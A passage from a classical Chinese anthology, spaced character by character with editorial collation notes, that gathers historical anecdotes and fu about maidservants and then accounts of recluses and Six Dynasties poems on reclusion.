贱 取 之 . 复 取 执 金 吾 官 婢 八 人 .\n东 观 汉 记 曰 . 刘 宽 向 朝 会 . 装 已 讫 . 婢 奉 肉 羹 翻 . 污 衣 . 宽 神 色 不 异 . 乃 徐 语 曰 . 羹 烂 尔 手 .\n又 曰 . 朱 晖 为 郡 督 邮 . 太 守 阮 况 当 嫁 女 . 欲 买 晖 婢 . 晖 不 与 . 及 况 卒 . 晖 送 金 三 斤 . 问 其 故 . 晖 曰 . 前 不 与 婢 者 . 以 财 污 府 君 . 金 重 送 . 欲 明 使 君 .\n谢 承 后 汉 书 ○ 太 平 御 览 五 百 . 本 条 作 东 观 汉 记 . 曰 . 长 沙 视 ○ 御 览 作 祝 . 良 为 洛 阳 令 . 常 侍 樊 丰 妻 杀 侍 婢 . 置 井 中 . 良 收 其 妻 杀 之 .\n晋 书 曰 . 烈 宗 之 母 . 本 织 坊 中 婢 也 . 形 长 色 黑 . 宫 人 谓 之 昆 仑 . 太 宗 以 大 ○ 原 脱 . 据 冯 校 本 补 . 计 幸 之 . 有 身 .\n语 林 曰 . 裴 秀 母 是 婢 . 秀 年 十 八 . 有 令 望 . 而 嫡 母 妒 . 犹 令 秀 母 亲 下 食 与 众 宾 . 宾 见 . 并 起 拜 之 . 答 曰 . 微 贱 岂 宜 如 此 . 当 为 小 儿 故 耳 . 于 是 父 母 乃 不 敢 复 役 之 .\n皇 甫 谧 列 女 后 传 曰 . 会 稽 翟 素 . 受 娉 . 未 及 配 适 . 遭 贼 . 欲 犯 之 . 临 之 以 白 刃 . 素 曰 . 我 可 得 而 杀 . 不 可 得 而 辱 . 素 婢 名 青 . 乞 代 素 . 贼 遂 杀 素 . 复 欲 犯 青 . 青 曰 . 向 欲 代 素 者 . 恐 被 耻 获 害 耳 . 今 素 已 死 . 我 何 以 生 为 . 贼 复 杀 之 .\n搜 神 记 曰 . 晋 杜 嘏 家 葬 . 而 婢 误 不 得 出 . 十 余 年 开 墓 . 婢 尚 生 . 云 其 始 如 眠 . 有 顷 渐 觉 . 自 谓 一 再 宿 . 初 婢 之 埋 . 年 十 五 六 . 及 开 冢 时 . 犹 十 五 六 . 嫁 之 有 子 .\n又 曰 . 诸 葛 恪 已 被 诛 . 其 ○ 太 平 御 览 五 百 其 下 有 妻 字 . 此 脱 . 在 室 . 问 婢 . 尔 何 故 血 臭 . 婢 忽 然 起 跃 . 头 至 栋 . 攘 臂 切 齿 .\n晋 中 兴 书 曰 . 祖 约 为 丞 相 从 事 中 郎 . 于 府 内 为 婢 所 伤 . 司 直 刘 隗 奏 约 . 患 生 婢 仆 . 身 被 伤 刑 . 解 职 还 家 .\n世 说 曰 . 郑 玄 家 奴 婢 读 书 . 玄 尝 使 一 婢 . 不 称 旨 . 将 挞 之 . 方 自 陈 说 . 玄 怒 . 使 人 曳 着 泥 中 . 须 臾 . 复 一 婢 来 . 问 曰 . 胡 为 乎 泥 中 . 答 曰 . 薄 言 往 诉 . 逢 彼 之 怒 .\n又 曰 . 石 崇 富 侈 . 厕 常 令 婢 数 十 . 曳 罗 縠 直 之 . 又 曰 . 崇 婢 绿 珠 . 天 下 美 色 . 孙 秀 求 之 不 与 . 因 诛 崇 .\n又 曰 . 光 祖 ○ 世 说 德 行 篇 作 祖 光 禄 . 此 有 脱 倒 . 少 孤 贫 . 至 孝 . 常 自 炊 爨 . 王 北 平 ○ 世 说 作 平 北 . 闻 而 佳 之 . 乃 以 二 婢 饷 焉 . 因 取 为 吏 人 . 人 戏 之 曰 . 奴 贾 倍 于 婢 . 祖 答 曰 . 百 里 奚 亦 何 必 不 轻 于 五 羖 之 皮 也 .\n三 辅 决 录 曰 . 金 祎 为 郡 上 计 . 留 在 许 都 . 时 魏 武 使 长 史 王 必 . 将 兵 卫 天 子 于 许 . 祎 与 必 善 . 见 祎 有 胡 婢 善 射 . 必 常 从 请 之 .\n【 赋 】 后 汉 蔡 邕 青 衣 赋 曰 . 金 生 沙 砾 . 珠 出 蚌 泥 . 叹 兹 窈 窕 . 生 于 卑 微 . 玄 发 光 润 . 领 如 螬 蛴 . 脩 长 冉 冉 . 硕 人 其 颀 . 绮 绣 丹 裳 . 蹑 蹈 丝 韦 . 都 冶 妩 媚 . 卓 砾 多 姿 . 精 慧 小 心 . 趣 事 若 飞 . 寒 雪 翩 翻 . 充 庭 盈 阶 . 停 停 沟 侧 . 噭 噭 青 衣 . 我 思 远 逝 . 尔 思 来 追 . 明 月 昭 昭 . 当 我 户 扉 . 条 风 狎 猎 . 吹 予 床 帷 . 河 上 逍 遥 . 徙 倚 庭 阶 . 南 瞻 井 柳 . 仰 察 斗 机 . 非 彼 牛 女 . 隔 于 河 维 . 思 尔 念 尔 . 惄 焉 且 饥 .\n后 汉 张 安 超 讥 青 衣 赋 . 彼 何 人 斯 . 悦 此 艳 姿 . 丽 辞 美\n誉 . 雅 词 斐 斐 . 文 则 可 嘉 . 志 鄙 意 微 . 凤 兮 凤 兮 . 何 德\n之 衰 . 醴 泉 可 饮 . 何 必 洿 泥 . 隋 珠 弹 雀 . 堂 溪 刈 葵 . 鸳\n鶵 啄 鼠 . 何 异 于 鸱 . 历 观 古 今 . 祸 福 之 阶 . 晏 婴 洁 志 .\n不 顾 景 女 . 及 俊 不 疑 . 奉 霍 不 受 . 见 尊 不 迷 . 况 此 隶 .\n生 女 为 妾 . 生 男 为 虏 . 岁 时 醊 祀 . 诣 其 先 祖 . 或 于 马 厩\n. 厨 门 灶 下 . 东 向 长 跪 . 接 神 觞 酒 . 悉 请 诸 灵 . 辟 邪 富\n主 . 多 乞 步 少 . 铜 丸 铁 柱 . 绩 缯 累 嘉 . 皆 来 集 聚 . 臧 获\n之 类 . 盖 不 足 数 . 古 之 赘 婿 . 尚 为 尘 垢 . 况 明 智 者 . 欲\n作 奴 父 . 勤 节 君 子 . 无 当 自 逸 . 宜 如 防 水 . 守 之 以 一 .\n秦 缪 思 褒 . 故 获 终 吉 .\n又 曰 . 栾 布 与 彭 越 为 家 人 .\n鹖 冠 子 曰 . 伊 尹 酒 保 . 立 为 世 师 .\n又 曰 . 天 地 闭 . 贤 人 隐 .\n又 曰 . 不 事 王 侯 . 高 尚 其 事 .\n又 曰 . 贲 于 丘 园 . 束 帛 戋 戋 . 礼 记 曰 . 儒 有 上 不 臣 天 子 . 下 不 事 诸 侯 .\n又 曰 . 季 春 之 月 . 聘 名 士 . 礼 贤 者 .\n论 语 曰 . 逸 民 . 伯 夷 叔 齐 虞 仲 夷 逸 朱 张 柳 下 惠 少 连 .\n庄 子 曰 . 古 之 所 谓 隐 士 者 . 非 伏 其 身 而 不 见 也 . 非 闭 其 言 而 不 出 也 . 非 藏 其 知 而 不 发 也 . 时 命 大 谬 也 .\n又 曰 . 刻 意 尚 行 . 离 世 异 俗 . 此 山 谷 之 士 . 避 世 之 人 也 . 就 薮 泽 . 处 间 旷 . 钓 鱼 闲 处 . 无 为 而 已 矣 . 此 江 海 之 士 . 避 世 之 人 也 . 闲 暇 之 所 好 也 .\n嵇 康 高 士 传 曰 . 广 成 子 在 崆 峒 之 上 . 黄 帝 问 曰 . 吾 欲 取 天 地 之 精 . 以 养 万 物 . 为 之 奈 何 . 广 成 子 蹶 然 而 起 曰 . 至 道 之 精 . 窈 窈 冥 冥 . 无 视 无 听 . 抱 神 以 静 . 我 守 其 一 . 以 处 其 和 . 故 千 二 百 岁 而 形 未 尝 衰 . 得 吾 道 者 . 上 为 皇 . 下 为 王 . 失 吾 道 者 . 上 见 光 . 而 下 为 土 . 吾 将 去 汝 . 入 无 穷 之 门 . 游 无 极 之 野 . 与 日 月 参 光 . 与 天 地 为 常 .\n又 曰 . 黄 帝 将 见 大 隗 于 具 茨 之 山 . 方 明 为 御 . 昌 寓 参 乘 . 黄 帝 曰 . ○ 本 句 上 有 脱 文 . 异 哉 . 请 问 天 下 . 小 童 曰 . 予 少 游 六 合 之 外 . 适 有 瞀 病 . 有 长 者 教 予 . 乘 日 之 车 . 游 于 襄 城 之 野 . 今 病 少 损 . 将 复 六 合 之 外 . 为 天 下 者 . 予 奚 事 焉 . 夫 为 天 下 . 亦 奚 异 牧 马 哉 . 去 其 害 马 而 已 . 黄 帝 再 拜 . 称 天 师 而 还 .\n又 曰 . 善 卷 者 . 舜 以 天 下 让 之 . 卷 曰 . 予 立 宇 宙 之 中 . 冬 衣 皮 毛 . 夏 衣 絺 葛 . 日 出 而 作 . 日 入 而 息 . 逍 遥 天 地 之 闲 . 何 以 为 天 下 哉 . 遂 入 深 山 . 莫 知 其 所 终 . 又 曰 . 石 户 之 农 . 不 知 何 许 人 . 与 舜 为 友 . 舜 以 天 下 让 之 . 石 户 夫 负 妻 携 子 以 入 海 . 终 身 不 返 .\n又 曰 . 伯 成 子 高 者 . 唐 虞 之 时 为 诸 侯 . 至 禹 . 去 而 耕 . 禹 往 趋 而 问 之 . 子 高 曰 . 昔 尧 治 天 下 . 至 公 无 私 . 不 赏 而 民 劝 . 不 罚 而 民 畏 . 今 子 赏 而 不 劝 . 罚 而 不 威 . 德 自 此 衰 . 刑 自 此 作 . 夫 子 盍 行 乎 . 无 落 吾 事 . 俋 俋 乎 耕 而 不 顾 .\n又 曰 . 鲁 连 好 奇 伟 倜 傥 . 尝 游 赵 . 难 新 垣 衍 以 秦 为 帝 . 秦 军 为 却 . 平 原 君 欲 封 连 . 连 三 辞 . 平 原 君 乃 以 千 金 为 连 寿 . 连 笑 曰 . 所 贵 于 天 下 之 士 者 . 为 人 排 患 释 难 也 . 即 有 取 之 . 是 商 贾 之 事 尔 . 及 燕 将 守 辽 ○ 史 记 八 十 三 鲁 仲 连 传 作 聊 . 城 . 田 单 攻 之 不 能 下 . 连 乃 为 书 射 城 中 . 遗 燕 将 . 燕 将 见 书 . 泣 三 日 . 乃 自 杀 . 城 降 . 田 单 欲 爵 连 . 连 曰 . 吾 与 于 富 贵 而 诎 于 人 . 宁 贫 贱 轻 世 而 肆 意 .\n又 曰 . 闾 丘 先 生 . 齐 宣 王 猎 于 社 山 . 社 山 父 老 十 三 人 . 相 与 劳 王 . 王 赐 父 老 不 租 . 先 生 独 不 谢 . 曰 . 愿 得 寿 得 富 得 贵 . 夫 选 良 吏 . 平 法 度 . 则 臣 得 寿 矣 . 振 之 以 时 . 则 臣 得 富 矣 . 令 少 敬 长 . 则 臣 得 贵 矣 .\n又 曰 . 田 生 菅 床 茅 屋 . 不 肯 仕 宦 . 惠 帝 亲 自 往 . 不 出 屋 .\n又 曰 . 郑 仲 虞 不 仕 汉 朝 . 章 帝 自 往 . 终 不 肯 起 . 曰 . 陛 下 何 惜 不 为 上 世 君 . 令 臣 得 为 偃 息 之 民 . 天 子 以 尚 书 禄 终 其 身 . 世 号 白 衣 尚 书 .\n又 曰 . 韩 福 者 . 以 行 义 脩 洁 . 汉 昭 帝 时 . 以 德 行 征 . 病 不 进 . 元 凤 元 年 . 诏 赐 帛 五 十 匹 . 遣 长 吏 时 以 存 问 . 常 以 八 月 赐 羊 酒 . 不 幸 死 者 . 赐 复 衾 一 . 祠 以 中 牢 . 自 是 至 今 为 征 士 之 故 事 . 福 终 身 不 仕 . 卒 于 家 .\n又 曰 班 嗣 世 在 京 师 . 家 有 赐 书 . 内 足 于 财 . 父 党 杨 子 云 以 下 . 莫 不 造 门 . 桓 君 山 从 借 庄 子 . 嗣 报 曰 . 今 吾 子 闻 仁 义 之 羁 绊 . 系 声 名 之 锁 . 伏 孔 氏 之 轨 躅 . 驰 颜 闵 之 极 艺 . 何 以 大 道 为 自 眩 也 . 昔 有 学 步 邯 郸 者 . 匍 匐 而 归 耳 . 其 行 己 持 论 如 此 . 遂 终 于 家 .\n又 曰 . 尚 长 . 字 子 平 . 禽 庆 . 字 子 夏 . 二 人 相 善 . 庆 隐 避 不 仕 王 莽 . 长 通 易 老 子 . 安 贫 乐 道 . 好 事 者 更 馈 遗 . 辄 受 之 . 自 足 还 余 . 如 有 不 取 也 . 举 措 必 于 中 和 . 司 空 王 邑 . 辟 之 连 年 . 乃 欲 荐 之 于 莽 . 固 辞 乃 止 . 遂 求 退 . 读 易 至 损 益 卦 . 喟 然 叹 曰 . 吾 知 富 贵 不 如 贫 贱 . 未 知 存 何 如 亡 尔 . 为 子 嫁 娶 毕 . 家 事 断 之 . 勿 复 相 关 . 当 如 我 死 矣 . 是 后 肆 意 . 与 同 好 游 五 岳 名 山 . 遂 不 知 所 在 .\n又 曰 . 巢 父 . 尧 时 隐 人 . 年 老 . 以 树 为 巢 . 而 寝 其 上 . 故 人 号 为 巢 父 . 尧 之 让 许 由 也 . 由 以 告 巢 父 . 巢 父 曰 . 汝 何 不 隐 汝 形 . 藏 汝 光 . 非 吾 友 也 . 乃 击 其 膺 而 下 之 . 许 由 怅 然 不 自 得 . 乃 遇 清 泠 之 水 . 洗 其 耳 . 拭 其 目 . 曰 . 向 者 闻 言 . 负 吾 友 . 遂 去 . 终 身 不 相 见 .\n又 曰 . 许 由 . 字 武 仲 . 尧 舜 皆 师 之 . 与 啮 缺 论 尧 而 去 . 隐 乎 沛 泽 之 中 . 尧 舜 乃 致 天 下 而 让 焉 . 曰 . 十 日 并 出 . 而 爝 火 不 息 . 其 光 也 不 亦 难 乎 . 夫 子 为 天 子 . 则 天 下 治 . 我 由 尸 之 . 吾 自 视 缺 然 . 许 由 曰 . 吾 将 为 名 乎 . 名 者 实 之 宾 . 吾 将 为 宾 乎 . 乃 去 . 宿 于 逆 旅 之 家 . 旦 而 遗 其 皮 冠 . 巢 父 闻 由 为 尧 所 让 . 以 为 污 . 乃 临 池 水 而 洗 其 耳 . 池 主 怒 曰 . 何 以 污 我 水 . 由 乃 退 而 遯 耕 于 中 岳 . 颖 水 之 阳 . 箕 山 之 下 .\n又 曰 . 壤 父 者 . 尧 时 人 . 年 五 十 而 击 壤 于 道 中 . 观 者 曰 . 大 哉 帝 之 德 也 . 壤 父 曰 . 吾 日 出 而 作 . 日 入 而 息 . 凿 井 而 饮 . 耕 地 而 食 . 帝 何 德 于 我 哉 .\n又 曰 . 子 支 伯 者 . 舜 以 天 下 让 支 伯 . 支 伯 曰 . 予 适 有 幽 忧 之 病 . 方 且 治 之 . 未 暇 治 天 下 也 . 遂 不 知 所 之 .\n又 曰 . 被 裘 公 者 . 吴 人 也 . 延 陵 季 子 出 游 . 见 道 中 遗 金 . 顾 而 睹 之 . 谓 公 曰 . 取 彼 金 . 公 投 镳 瞋 目 . 拂 手 而 言 曰 . 何 子 居 之 高 . 视 之 卑 . 吾 被 裘 而 负 薪 . 岂 取 遗 金 者 哉 . 季 子 大 惊 . 既 谢 而 问 其 姓 名 . 曰 . 吾 子 皮 相 之 士 . 何 足 语 姓 名 哉 .\n又 曰 . 段 干 木 者 . 治 清 节 . 游 西 河 . 守 道 不 仕 . 魏 文 侯 就 造 其 门 . 干 木 逾 墙 而 避 之 . 文 侯 以 客 礼 . 出 过 其 庐 则 式 . 其 仆 问 之 . 文 侯 曰 . 干 木 不 趣 势 . 隐 处 穷 巷 . 声 驰 千 里 . 敢 勿 式 乎 . 文 侯 所 以 名 过 齐 桓 公 者 . 能 尊 段 干 木 . 敬 卜 子 夏 . 友 田 子 方 也 .\n又 曰 . 庄 周 少 学 老 子 . 梁 惠 王 时 . 为 蒙 县 漆 园 吏 . 以 卑 贱 . 不 肯 仕 . 楚 威 王 以 百 金 聘 周 . 周 方 钓 于 濮 水 之 上 . 曰 . 楚 有 龟 . 死 三 千 岁 矣 . 今 巾 笥 而 藏 之 于 庙 堂 之 上 . 此 龟 宁 生 而 掉 尾 涂 中 耳 . 子 往 矣 . 吾 方 掉 尾 于 涂 中 . 后 齐 宣 王 又 以 千 金 之 币 . 迎 周 为 相 . 周 曰 . 子 不 见 郊 祭 之 牺 牛 乎 . 衣 以 文 绣 . 食 以 刍 菽 . 及 其 牵 入 太 庙 . 欲 为 孤 豚 . 其 可 得 乎 . 遂 终 身 不 仕 .\n续 晋 阳 秋 曰 . 谢 敷 隐 居 会 稽 山 . 初 月 犯 少 微 星 . 一 名 处 士 星 . 时 戴 逵 名 重 于 敷 . 时 人 忧 之 . 俄 而 敷 死 . 故 会 稽 士 人 嘲 吴 人 云 . 吴 中 高 士 . 求 死 不 得 .\n世 说 曰 . 郤 超 每 闻 欲 高 尚 隐 退 者 . 辄 为 办 百 万 资 . 并 为 造 立 居 宇 . 在 剡 . 为 戴 公 起 宅 甚 精 . 戴 始 往 居 . 与 所 亲 书 曰 . 近 在 剡 . 如 入 官 舍 . 又 为 傅 约 亦 办 百 万 . 傅 隐 事 差 互 . 故 不 果 述 .\n又 曰 . 支 道 林 因 人 就 深 公 买 印 山 . 深 公 曰 . 未 闻 巢 由 买 山 而 隐 .\n袁 淑 真 隐 传 曰 . 鬼 谷 先 生 . 不 知 何 许 人 也 . 隐 居 韬 智 . 居 鬼 谷 山 . 因 以 为 称 . 苏 秦 张 仪 师 之 . 遂 立 功 名 . 先 生 遗 书 责 之 曰 . 若 二 君 岂 不 见 河 边 之 树 乎 . 仆 御 折 其 枝 . 波 浪 荡 其 根 . 上 无 径 尺 之 阴 . 身 被 数 千 之 痕 . 此 木 岂 与 天 地 有 仇 怨 . 所 居 然 也 . 子 不 见 嵩 岱 之 松 柏 . 华 霍 之 檀 桐 乎 . 上 枝 干 于 青 云 . 下 根 通 于 三 泉 . 千 秋 万 岁 . 不 受 斧 斤 之 患 . 此 木 岂 与 天 地 有 骨 肉 哉 . 盖 所 居 然 也 .\n又 曰 . 鹖 冠 子 . 或 曰 楚 人 . 隐 居 幽 山 . 衣 敝 履 空 . 以 鹖 为 冠 . 莫 测 其 名 . 因 服 成 号 . 着 书 言 道 家 . 冯 谖 常 师 事 之 . 后 显 于 赵 . 鹖 冠 子 惧 其 荐 己 也 . 乃 与 谖 绝 .\n【 诗 】 魏 阮 瑀 诗 曰 . 四 皓 潜 南 岳 . 老 莱 窜 河 滨 . 颜 回 乐 陋 巷 . 许 由 安 贱 贫 . 伯 夷 饿 首 阳 . 天 下 归 其 仁 . 何 患 处 贫 苦 . 但 当 守 明 真 .\n晋 张 华 招 隐 诗 曰 . 隐 士 托 山 林 . 遁 世 以 保 真 . 连 惠 亮 未 遇 . 雄 才 屈 不 申 .\n又 诗 曰 . 栖 迟 四 野 外 . 陆 沉 背 当 时 . 循 名 奄 不 着 . 藏 器 待 无 期 . 羲 和 策 六 龙 . 弭 节 越 崦 嵫 . 盛 年 俛 仰 过 . 忽 若 振 轻 丝 .\n晋 张 载 招 隐 诗 曰 . 出 处 虽 殊 涂 . 居 然 有 轻 易 . 山 林 有 悔 . 人 间 实 多 累 . 鹓 鶵 翔 穹 冥 . 蒲 且 不 能 视 . 鹳 鹭 遵 皋 渚 . 数 为 矰 所 系 . 隐 显 虽 在 心 . 彼 我 共 一 地 . 不 见 巫 山 火 . 芝 艾 岂 相 离 . 去 来 捐 时 俗 . 超 然 辞 世 伪 . 得 意 在 丘 中 . 安 事 愚 与 智 .\n晋 张 协 诗 曰 . 结 宇 穷 岚 曲 . 耦 耕 幽 薮 阴 . 荒 庭 寂 以 闲 . 山 岫 峭 且 深 . 凄 风 起 东 谷 . 有 弇 兴 南 岑 . 虽 无 箕 毕 期 . 肤 寸 自 成 霖 . 泽 雉 登 垄 雊 . 寒 猿 拥 条 吟 . 溪 壑 无 人 迹 . 荒 楚 郁 萧 森 . 投 禾 脩 岸 垂 . 时 闻 樵 采 音 . 重 棋 可 拟 志 . 回 渊 可 比 心 . 养 真 尚 无 为 . 道 胜 贵 陆 沉 . 游 思 竹 素 园 . 寄 辞 翰 墨 林 .\n晋 左 思 招 隐 诗 曰 . 杖 策 招 隐 士 . 荒 涂 横 古 今 . 岩 穴 无 结 构 . 丘 中 有 鸣 琴 . 白 雪 傍 阴 岗 . 丹 葩 耀 阳 林 . 非 必 丝 与 竹 . 山 水 有 清 音 . 何 事 待 啸 歌 . 灌 木 自 悲 吟 .\n又 招 隐 诗 曰 . 经 始 东 山 庐 . 果 下 自 成 榛 . 前 有 寒 泉 井 . 聊 可 莹 心 神 .\n晋 陆 机 招 隐 诗 曰 . 驾 言 寻 飞 遁 . 山 路 郁 盘 桓 . 芳 兰 振 蕙 叶 . 玉 泉 涌 微 澜 . 嘉 卉 献 时 服 . 灵 术 进 朝 餐 . 朝 采 南 涧 . 夕 息 西 山 足 . 轻 条 象 云 构 . 密 叶 成 翠 屋 . 结 风 伫 兰 林 . 回 芳 薄 秀 木 .\n又 诗 曰 . 寻 山 求 逸 民 . 穹 谷 幽 且 遐 . 清 泉 荡 玉 渚 . 文 鱼 跃 中 波 .\n晋 闾 丘 冲 招 隐 诗 曰 . 大 道 旷 且 夷 . 蹊 路 安 足 寻 . 经 世 有 险 易 . 隐 显 自 存 心 . 嗟 哉 岩 岫 士 . 归 来 从 所 钦 .\n晋 王 康 琚 招 隐 诗 曰 . 登 山 招 隐 士 . 褰 裳 蹑 遗 踪 . 华 条 当 圜 室 . 翠 叶 代 绮 窗 .\n晋 辛 旷 赠 皇 甫 谧 诗 曰 . 颙 颙 朝 士 . 亦 孔 其 依 . 莫 不 迟 想 . 载 渴 载 饥 . 我 弓 我 旄 . 礼 亦 无 违 . 企 望 高 冈 . 来 仪 来 归 . 其 晖 伊 何 . 与 帝 同 心 . 明 明 天 子 . 如 日 之 临 . 临 照 四 方 . 探 赜 幽 深 . 山 无 逸 民 . 水 无 潜 龙 . 爰 彼 九 皋 . 克 量 德 音 . 茂 哉 先 生 . 皇 实 是 钦 .\n宋 谢 灵 运 越 岭 行 溪 诗 曰 . 猿 鸣 诚 知 曙 . 幽 谷 光 未 显 . 岩 下 云 方 合 . 花 上 露 犹 泫 . 逶 迤 傍 . 迢 遰 陟 陉 岘 . 苹 萍 泛 深 沉 . 蒲 菰 冒 清 浅 . 企 石 挹 飞 泉 . 攀 林 摘 叶 卷 . 想 见 山 阿 人 . 萝 薜 若 在 眼 .\n梁 武 帝 逸 民 诗 曰 . 如 垄 生 木 . 木 有 异 心 . 如 林 鸣 鸟 . 鸟 有 殊 音 . 如 江 游 鱼 . 鱼 有 浮 沉 . 岩 岩 山 高 . 湛 湛 水 深 . 事 迹 易 见 . 理 相 难 寻 .\n梁 刘 孝 标 始 居 山 营 室 诗 曰 . 自 昔 厌 喧 嚣 . 执 志 好 栖 息 . 啸 歌 弃 城 市 . 归 来 事 耕 织 . 凿 户 窥 嶕 峣 . 开 轩 望 崭 崱 . 激 水 檐 前 溜 . 脩 竹 堂 阴 植 . 香 风 鸣 紫 鹦 . 高 梧 巢 绿 翼 . 泉 脉 洞 沓 沓 . 流 波 下 不 极 . 髣 佛 玉 山 隈 . 响 像 瑶 池 侧 . 夜 诵 神 仙 记 . 旦 吸 云 霞 色 . 将 驭 六 龙 舆 . 行 从 三 鸟 食 . 谁 与 金 门 士 . 抚 心 论 胸 臆 .\n梁 范 云 答 句 曲 先 生 诗 曰 . 终 朝 吐 祥 雾 . 薄 晚 孕 奇 烟 . 洞 涧 生 芝 草 . 重 崖 出 醴 泉 . 中 有 怀 真 士 . 被 褐 守 冲 玄 . 石 户 栖 十 秘 . 金 坛 谒 九 仙 . 乘 鹓 方 履 汉 . 辔 鹤 上 腾 天 .\n梁 吴 筠 诗 曰 . 山 际 见 来 烟 . 竹 中 窥 落 日 . 鸟 向 檐 上 飞 . 云 从 窗 里 出 .\n又 诗 曰 . 绿 竹 可 充 食 . 女 萝 可 代 裙 . 山 中 自 有 宅 . 桂 树 笼 青 云 .\n又 诗 曰 . 具 区 穷 地 险 . 稽 山 万 里 余 . 奈 何 梁 隐 士 . 一 去 无 还 书 .\n梁 任 昉 答 刘 居 士 诗 曰 . 君 子 之 道 . 亦 有 其 四 . 高 行 绝 俗 . 盛 德 出 类 . 才 同 文 锦 . 学 非 书 肆 . 望 之 可 阶 . 即 之 难 至 . 辍 精 天 理 . 躔 象 少 微 . 人 与 俗 异 . 道 与 人 违 . 庭 飞 熠 燿 . 室 满 伊 威 . 行 无 辙 迹 . 理 绝 心 机 .\n又 答 何 征 君 诗 曰 . 散 诞 羁 鞿 外 . 拘 束 名 教 里 . 得 性 千 乘 同 . 山 林 无 朝 市 . 勿 以 耕 蚕 贵 . 空 笑 易 农 仕 . 宿 昔 仰 高 山 . 超 然 绝 尘 轨 . 倾 ○ 原 脱 . 据 冯 校 本 补 . 壶 已 等 药 . 命 管 亦 齐 □ . 无 为 叹 独 游 . 若 终 方 同 止 .\n又 赠 徐 征 君 诗 曰 . 促 生 悲 永 路 . 早 交 伤 晚 别 . 自 我 隔 容 徽 . 于 焉 徂 岁 月 . 情 非 山 河 阻 . 意 似 河 湖 悦 . 东 皋 有 儒 素 . 杳 与 荣 名 绝 . 曾 是 违 赏 心 . 曷 用 箴 余 缺 . 眇 焉 追 平 生 . 尘 书 废 不 阅 . 信 此 伊 能 已 . 怀 抱 岂 暂 辍 . 何 以 表 相 思 . 贞 松 擅 严 节 .\n梁 庾 肩 吾 赠 周 处 士 诗 曰 . 九 丹 开 石 室 . 三 径 没 荒 林 . 仙 人 翻 可 见 . 隐 士 更 难 寻 . 篱 下 黄 花 菊 . 丘 中 白 雪 琴 . 方 欣 松 叶 酒 . 自 和 游 山 吟 .\n又 寻 周 处 士 弘 让 诗 曰 . 试 遂 赤 松 游 . 披 林 对 一 丘 . 梨 红 大 谷 晚 . 桂 白 小 山 秋 . 石 镜 菱 花 发 . 桐 门 琴 曲 愁 . 泉 飞 疑 度 雨 . 云 积 似 重 楼 . 王 孙 若 不 去 . 山 中 定 可 留 .\n又 赋 得 嵇 叔 夜 诗 曰 . 山 林 重 明 灭 . 风 月 临 嚣 尘 . 着 书 惟 隐 士 . 谈 玄 止 谷 神 . 雁 重 翻 伤 性 . 蚕 寒 更 养 身 . 广 陵 余 故 曲 . 山 阳 有 旧 邻 . 俗 俭 宁 妨 患 . 才 多 反 累 身 . 寄 言 山 吏 部 . 无 以 助 庖 人 .\n周 明 帝 赠 韦 居 士 诗 曰 . 六 爻 贞 遁 世 . 三 辰 少 光 微 . 颍 阳 去 犹 远 . 沧 洲 遂 不 归 . 风 动 秋 兰 佩 . 香 飘 莲 叶 衣 . 坐 石 窥 仙 洞 . 乘 槎 下 钓 矶 . 岭 松 千 仞 直 . 岩 泉 百 丈 飞 . 傥 能 同 四 隐 . 来 参 余 万 机 .\n周 王 褒 赠 周 处 士 诗 曰 . 我 行 无 岁 月 . 征 马 屡 盘 桓 . 崤 曲 三 危 阻 . 关 重 九 折 难 . 犹 持 汉 节 使 . 尚 服 楚 臣 冠 . 巢 禽 疑 上 幕 . 惊 羽 畏 虚 弹 . 飞 蓬 去 不 已 . 客 思 渐 无 端 . 壮 志 与 时 歇 . 生 年 随 事 阑 . 百 龄 悲 促 命 . 数 刻 念 余 欢 . 云 生 陇 坻 黑 . 桑 疏 蓟 北 寒 . 鸟 道 无 蹊 径 . 清 溪 有 波 澜 . 思 君 化 羽 翮 . 要 我 铸 金 丹 .\n又 和 赵 王 隐 士 诗 曰 . 凫 鹄 均 长 短 . 雕 鷃 共 逍 遥 . 清 襟 蕴 秀 气 . 虚 席 满 风 飙 . 断 弦 唯 续 葛 . 独 酌 止 倾 瓢 . 菖 蒲 九 重 节 . 桑 薪 七 过 烧 .\n周 庾 信 奉 和 赵 王 隐 士 诗 曰 . 洛 阳 征 五 隐 . 东 都 别 二 贤\n. 云 气 浮 函 谷 . 星 光 集 颍 川 . 灞 陵 采 樵 路 . 成 都 卖 卜 钱\n. 鹿 裘 披 稍 裂 . 藜 床 坐 欲 穿 . 阮 籍 唯 长 啸 . 嵇 康 讶 一 弦\n. 涧 险 无 平 石 .\n山 深 足 细 泉 . 低 松 犹 百 丈 . 少 鹤 已 千 年 . 野 鸟 繁 弦 啭 . 山 花 焰 火 然 . 虽 无 亭 长 识 . 终 见 野 人 .\n又 穷 秋 寄 隐 士 诗 曰 . 王 倪 逢 啮 缺 . 桀 溺 遇 长 沮 . 藜 床 负 日 卧 . 麦 陇 带 经 锄 . 自 然 曲 木 几 . 无 名 科 斗 书 . 聚 花 聊 饲 雀 . 穿 池 试 养 鱼 . 小 村 治 路 . 低 田 补 坏 渠 . 秋 水 牵 沙 落 . 寒 藤 抱 树 疏 . 空 枉 平 原 骑 . 来 过 仲 蔚 庐 .\n陈 周 弘 正 还 草 堂 寻 处 士 弟 诗 曰 . 四 时 易 荏 苒 . 百 龄 倏 将 半 . 故 老 多 零 落 . 山 僧 尽 凋 散 . 宿 树 倒 为 查 . 旧 水 侵 成 岸 . 幽 寻 属 令 弟 . 依 然 归 旧 馆 . 感 物 自 多 伤 . 况 乃 春 鹦 乱 .\n陈 周 弘 让 无 名 诗 曰 . 行 行 访 名 岳 . 处 处 必 留 连 . 遂 至 一 岩 里 . 灌 木 上 参 天 . 忽 见 茅 茨 屋 . 暧 暧 有 人 烟 . 一 士 开 门 出 . 一 士 呼 我 前 . 相 看 不 道 姓 . 焉 知 隐 与 仙 .\n陈 伏 知 道 赋 得 招 隐 诗 曰 . 招 隐 访 仙 楹 . 丘 中 琴 正 鸣 . 桂 丛 侵 石 路 . 桃 花 隔 世 情 . 薄 暮 安 车 近 . 林 喧 山 鸟 惊 .\n陈 正 见 赋 得 落 落 穷 巷 士 诗 曰 . 杨 云 不 邀 名 . 原 宪 本 遗 荣 . 草 长 三 径 合 . 花 发 四 邻 明 . 尘 随 幽 巷 静 . 啸 逐 远 风 清 . 门 外 无 车 辙 . 自 可 绝 公 卿 .\n隋 江 总 夏 日 还 山 庭 诗 曰 . 独 于 幽 栖 地 . 山 庭 暗 女 萝 . 涧 渍 长 低 篠 . 池 开 半 卷 荷 . 野 花 朝 暝 落 . 盘 根 岁 月 多 . 停 樽 无 赏 慰 . 狎 鸟 自 经 过 .\n又 春 夜 山 庭 诗 